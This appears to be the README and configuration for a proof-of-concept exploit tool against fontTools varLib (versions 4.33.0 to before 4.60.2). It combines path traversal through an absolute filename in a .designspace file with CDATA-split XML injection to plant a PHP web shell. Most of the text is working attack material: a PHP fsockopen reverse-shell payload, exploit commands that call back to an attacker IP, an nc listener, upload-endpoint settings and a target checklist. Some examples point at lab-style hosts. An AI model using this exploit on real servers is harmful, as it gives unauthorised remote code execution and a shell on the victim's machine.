Attacker crafts malicious .designspace
            │
            ├── <variable-font filename="/var/www/html/files/shell.php">
            │        └── PATH TRAVERSAL
            │            os.path.join(output_dir, absolute_path)
            │            → output_dir discarded → write to web root
            │
            └── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
                     └── XML INJECTION
                         CDATA split embeds raw PHP
                         into the output font binary
            │
            ▼
    fontTools.varLib.main() processes file server-side
            │
            ▼
    shell.php written to web-accessible directory
            │
            ▼
    GET /files/shell.php → PHP executes → reverse shell callback
            │
            ▼
    RCE as www-data

pip install fonttools requests

nc (netcat) — required for auto listener mode (--no-listen skips this)

git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests

# ══════════════════════════════════════════════════════════════════════════════
#  DEFAULTS
#  Change these to match your target before running.
#  All values can also be overridden at runtime via CLI flags — see --help.
# ══════════════════════════════════════════════════════════════════════════════

# Base URL of the upload host (the site that accepts the .designspace)
UPLOAD_HOST      = "http://test.com"

# Path on the upload host that processes the multipart form POST
# Confirm with Burp — look for the POST after clicking the generate button
UPLOAD_ENDPOINT  = "/tools/variable-font-generator/process"

# Absolute filesystem path on the server where output files are written
# Must be web-accessible so the shell can be triggered via HTTP
WEBROOT          = "/var/www/test.com/public/files"

# Base URL used to fetch/trigger the written shell file
# Maps to WEBROOT on disk
SHELL_HOST       = "http://testing.test.com/files"

# Multipart form field names — confirm with Burp before running
# If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS     = "masters"

# Shell filename prefix — random suffix appended at runtime
SHELL_PREFIX     = "f0nt_"

# Length of random suffix — longer = harder to guess
SHELL_SUFFIX_LEN = 8

python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>

# Terminal 1 — start your listener
nc -lvnp 4444

# Terminal 2 — run exploit without auto listener
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen

python3 font_varlib.py \
  --ip 10.10.14.5 \
  --port 4444 \
  --upload http://target.htb/tools/variable-font-generator/process \
  --webroot /var/www/html/files \
  --shell http://target.htb/files

<labelname xml:lang="en">
  <![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>

<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">

output_path = os.path.join(output_dir, filename)

filename = vf.filename                             # attacker-controlled, unsanitised
output_path = os.path.join(output_dir, filename)  # path traversal via absolute path
vf.save(output_path)                              # arbitrary file write

[ ] fonttools version on target is >= 4.33.0 and < 4.60.2
[ ] Target accepts .designspace + .ttf file uploads
[ ] Backend calls fontTools.varLib.main() on the uploaded .designspace
[ ] Upload form field names confirmed with Burp (designspace + masters)
[ ] WEBROOT is web-accessible from outside
[ ] WEBROOT is writable by the web process (www-data or equivalent)
[ ] SHELL_HOST (--shell) is reachable from your machine
[ ] Target hostname are in /etc/hosts